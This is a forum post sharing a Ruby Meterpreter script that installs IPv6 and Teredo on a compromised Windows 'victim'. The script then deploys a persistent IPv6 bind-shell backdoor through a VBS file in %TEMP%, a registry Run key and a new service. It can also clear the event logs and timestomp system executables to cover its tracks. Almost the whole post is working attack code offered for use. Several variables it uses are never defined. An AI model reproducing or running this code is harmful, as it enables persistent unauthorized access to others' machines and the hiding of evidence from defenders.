Jump to content

Ipv6 Persistence Meterpreter Script


bbuchacher
 Share

Recommended Posts

Ok here is is this

  1. Automaticly installs IPv6 on Victim
  2. Sets the IPv6 Address to Static
  3. Waits 2 minutes to ensure the IPv6 address qualifys.
  4. Runs IPconfig and saves output
  5. Creates IPv6 bind shell payload on port 443
  6. Uploads to victim, installs as autorun, edits registry, and installs as service

Enjoy :D

# $Id: ipv6.rb 001 2011-01-25 01:11 $

# $Revision: 001 $

# Created by Ben Buchacher twitter.com/benbuchacher

# Code borrowed from winenum.rb and persistence.rb

#-------------------------------------------------------------------------------

################## Variable Declarations ##################

@client = client

opts = Rex::Parser::Arguments.new(

"-h" => [ false, "Help menu." ],

"-m" => [ false, "Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything" ],

"-r" => [ false, "Dump, compress and download entire Registry" ],

"-c" => [ false, "Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog" ],

"-l" => [ true, "The port on the remote host where Metasploit is listening"]

)

rd = nil

mg = nil

cm = nil

key = "HKLM"

serv = true

delay = 1

lport = 443

payload_type = "windows/meterpreter/bind_ipv6_tcp"

target_dir = nil

script = nil

script_on_target = nil

opts.parse(args) { |opt, idx, val|

case opt

when '-r'

rd = 1

when '-m'

mg = 1

when '-c'

cm = 1

when "-h"

print_line "IPV6 Perisistence"

print_line

print_line "Revenge of the Bind Shell"

print_line(opts.usage)

raise Rex::Script::Completed

end

}

#-------------------------------------------------------------------------------

host,port = @client.tunnel_peer.split(':')

info = @client.sys.config.sysinfo

# Create Filename info to be appended to downloaded files

filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for the logs

logs = ::File.join(Msf::Config.log_directory,'scripts', 'ipv6-persistence',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo))

@logfol = logs

# Create the log directory

::FileUtils.mkdir_p(logs)

#log file name

@dest = logs + "/" + Rex::FileUtils.clean_path(info['Computer'] + filenameinfo) + ".txt"

# Commands that will be ran on the Target

netsh = [

'netsh int ipv6 install'

]

setteredo = [

'netsh int ipv6 set teredo enterpriseclient'

]

ipconfig = [

'ipconfig /all'

]

# Commands that MACE will be changed

cmdstomp = [

'cmd.exe',

'ipconfig.exe',

'netsh.exe',

]

################## Function Declarations ##################

#-------------------------------------------------------------------------------

# Function for running a list a commands stored in a array, return string

def list_netsh(netsh)

print_status("Instaling IPV6")

i = 0

a =[]

@client.response_timeout=120

netsh.each do |cmd|

if i < 10

a.push(::Thread.new {

r,cmdout='',""

print_status "\trunning command #{cmd}"

r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})

while(d = r.channel.read)

cmdout << d

file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)

end

cmdout = ""

r.channel.close

r.close

})

i += 1

else

sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty?

i = 0

end

end

a.delete_if {|x| not x.alive?} while not a.empty?

end

#-------------------------------------------------------------------------------

# Function for running a list a commands stored in a array, return string

def list_setteredo(setteredo)

print_status("Setting IPV6 Address To Static")

i = 0

a =[]

@client.response_timeout=120

setteredo.each do |cmd|

if i < 10

a.push(::Thread.new {

r,cmdout='',""

print_status "\trunning command #{cmd}"

r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})

while(d = r.channel.read)

cmdout << d

file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)

end

cmdout = ""

r.channel.close

r.close

})

i += 1

else

sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty?

i = 0

end

end

a.delete_if {|x| not x.alive?} while not a.empty?

end

#-------------------------------------------------------------------------------

# Function for running a list a commands stored in a array, return string

def list_ipconfig(ipconfig)

print_status("Running ipconfig ")

i = 0

a =[]

@client.response_timeout=120

ipconfig.each do |cmd|

if i < 10

a.push(::Thread.new {

r,cmdout='',""

print_status "\trunning command #{cmd}"

r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})

while(d = r.channel.read)

cmdout << d

file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)

end

cmdout = ""

r.channel.close

r.close

})

i += 1

else

sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty?

i = 0

end

end

a.delete_if {|x| not x.alive?} while not a.empty?

end

#-------------------------------------------------------------------------------

# Function for clearing all event logs

def clrevtlgs()

evtlogs = [

'security',

'system',

'application',

'directory service',

'dns server',

'file replication service'

]

print_status("Clearing Event Logs, this will leave and event 517")

begin

evtlogs.each do |evl|

print_status("\tClearing the #{evl} Event Log")

log = @client.sys.eventlog.open(evl)

log.clear

file_local_write(@dest,"Cleared the #{evl} Event Log")

end

print_status("All Event Logs have been cleared")

rescue ::Exception => e

print_status("Error clearing Event Log: #{e.class} #{e}")

end

end

#-------------------------------------------------------------------------------

# Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array

# The files have to be in %WinDir%\System32 folder.

def chmace(cmds)

windir = ''

print_status("Changing Access Time, Modified Time and Created Time of Files Used")

windir = @client.fs.file.expand_path("%WinDir%")

cmds.each do |c|

begin

@client.core.use("priv")

filetostomp = windir + "\\system32\\"+ c

fl2clone = windir + "\\system32\\chkdsk.exe"

print_status("\tChanging file MACE attributes on #{filetostomp}")

@client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)

file_local_write(@dest,"Changed MACE of #{filetostomp}")

rescue ::Exception => e

print_status("Error changing MACE: #{e.class} #{e}")

end

end

end

#-------------------------------------------------------------------------------

# Function that will call 2 other Functions to cover all tracks

def covertracks(cmdstomp)

clrevtlgs()

info = @client.sys.config.sysinfo

trgtos = info['OS']

if trgtos =~ /(Windows 2000)/

chmace(cmdstomp - nonwin2kcmd)

else

chmace(cmdstomp)

end

end

#-------------------------------------------------------------------------------

# Functions Provided by natron (natron 0x40 invisibledenizen 0x2E com)

# for Process Migration

#---------------------------------------------------------------------------------------------------------

def launchProc(target)

print_status("Launching hidden #{target}...")

# Set the vars; these can of course be modified if need be

cmd_exec = target

cmd_args = nil

hidden = true

channelized = nil

use_thread_token = false

# Launch new process

newproc = @client.sys.process.execute(cmd_exec, cmd_args,

'Channelized' => channelized,

'Hidden' => hidden,

'InMemory' => nil,

'UseThreadToken' => use_thread_token)

print_status("Process #{newproc.pid} created.")

return newproc

end

#-------------------------------------------------------------------------------

def migrateToProc(newproc)

# Grab the current pid info

server = @client.sys.process.open

print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.")

# Save the old process info so we can kill it after migration.

oldproc = server.pid

# Do the migration

@client.core.migrate(newproc.pid.to_i)

print_status("Migration completed successfully.")

# Grab new process info

server = @client.sys.process.open

print_status("New server process: #{server.name} (#{server.pid})")

return oldproc

end

#-------------------------------------------------------------------------------

def killApp(procpid)

@client.sys.process.kill(procpid)

print_status("Old process #{procpid} killed.")

end

#---------------------------------------------------------------------------------------------------------

# Function to execute process migration

def migrate()

target = 'cmd.exe'

newProcPid = launchProc(target)

oldProc = migrateToProc(newProcPid)

#killApp(oldProc)

#Dangerous depending on the service exploited

end

#check for proper Meterpreter Platform

def unsupported

print_error("This version of Meterpreter is not supported with this Script!")

raise Rex::Script::Completed

end

unsupported if client.platform !~ /win32|win64/i

# Function for Creating the Payload

#-------------------------------------------------------------------------------

def create_payload(payload_type,lport)

print_status("Creating Payload=#{payload_type} LPORT=#{lport}")

payload = payload_type

pay = client.framework.payloads.create(payload)

pay.datastore['LPORT'] = lport

return pay.generate

end

# Function for Creating persistent script

#-------------------------------------------------------------------------------

def create_script(delay,raw)

vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay})

print_status("Persistent agent script is #{vbs.length} bytes long")

return vbs

end

# Function for writing script to target host

#-------------------------------------------------------------------------------

def write_script_to_target(target_dir,vbs)

if target_dir

tempdir = target_dir

else

tempdir = @client.fs.file.expand_path("%TEMP%")

end

tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"

fd = @client.fs.file.new(tempvbs, "wb")

fd.write(vbs)

fd.close

print_good("Persistent Script written to #{tempvbs}")

return tempvbs

end

# Function to execute script on target and return the PID of the process

#-------------------------------------------------------------------------------

def targets_exec(script_on_target)

print_status("Executing script #{script_on_target}")

proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})

print_good("Agent executed with PID #{proc.pid}")

return proc.pid

end

# Function to install payload in to the registry HKLM or HKCU

#-------------------------------------------------------------------------------

def write_to_reg(key,script_on_target)

nam = Rex::Text.rand_text_alpha(rand(8)+8)

print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")

if(key)

registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")

print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")

else

print_error("Error: failed to open the registry key for writing")

end

end

# Function to install payload as a service

#-------------------------------------------------------------------------------

def install_as_service(script_on_target)

if not is_uac_enabled? or is_admin?

print_status("Installing as service..")

nam = Rex::Text.rand_text_alpha(rand(8)+8)

print_status("Creating service #{nam}")

service_create(nam, nam, "cscript \"#{script_on_target}\"")

else

print_error("Insufficient privileges to create service")

end

end

################## MAIN ##################

# Execute Functions selected

if (mg != nil)

migrate()

end

# Main part of script, it will run all function minus the ones

# that will chance the MACE and Clear the Event log.

print_status("Running IPV6 Persistence Meterpreter Script")

print_status("New session on #{host}:#{port}...")

# Header for File that will hold all the output of the commands

info = @client.sys.config.sysinfo

header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"

header << "Running as: #{@client.sys.config.getuid}\n"

header << "Host: #{info['Computer']}\n"

header << "OS: #{info['OS']}\n"

header << "\n\n\n"

print_status("Saving general report to #{@dest}")

print_status("Output of each individual command is saved to #{@logfol}")

file_local_write(@dest,header)

trgtos = info['OS']

# Run Commands according to OS some commands are not available on all versions of Windows

if trgtos =~ /(Windows XP)/

list_netsh(netsh)

sleep 0

list_setteredo(setteredo)

sleep 120

list_ipconfig(ipconfig)

raw = create_payload(payload_type,lport)

script = create_script(delay,raw)

script_on_target = write_script_to_target(target_dir,script)

targets_exec(script_on_target)

write_to_reg(key,script_on_target)

install_as_service(script_on_target)

elsif trgtos =~ /(Windows .NET)/

list_netsh(netsh)

sleep 0

list_setteredo(setteredo)

sleep 120

list_ipconfig(ipconfig)

raw = create_payload(payload_type,lport)

script = create_script(delay,raw)

script_on_target = write_script_to_target(target_dir,script)

targets_exec(script_on_target)

write_to_reg(key,script_on_target)

install_as_service(script_on_target)

elsif trgtos =~ /(Windows 2008)/

list_netsh(netsh)

sleep 0

list_setteredo(setteredo)

sleep 120

list_ipconfig(ipconfig)

raw = create_payload(payload_type,lport)

script = create_script(delay,raw)

script_on_target = write_script_to_target(target_dir,script)

targets_exec(script_on_target)

write_to_reg(key,script_on_target)

install_as_service(script_on_target)

elsif trgtos =~ /Windows (Vista|7)/

list_netsh(netsh)

sleep 0

list_setteredo(setteredo)

sleep 120

list_ipconfig(ipconfig)

raw = create_payload(payload_type,lport)

script = create_script(delay,raw)

script_on_target = write_script_to_target(target_dir,script)

targets_exec(script_on_target)

write_to_reg(key,script_on_target)

install_as_service(script_on_target)

elsif trgtos =~ /(Windows 2000)/

list_netsh(netsh)

sleep 0

list_setteredo(setteredo)

sleep 120

list_ipconfig(ipconfig)

raw = create_payload(payload_type,lport)

script = create_script(delay,raw)

script_on_target = write_script_to_target(target_dir,script)

targets_exec(script_on_target)

write_to_reg(key,script_on_target)

install_as_service(script_on_target)

end

if (cm != nil)

if trgtos =~ /(Windows 2000)/

covertracks(cmdstomp - nowin2kexe)

else

if not uac

covertracks(cmdstomp)

else

print_status("UAC is enabled, Logs could not be cleared under current privileges")

end

end

end

print_status("Done!")

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...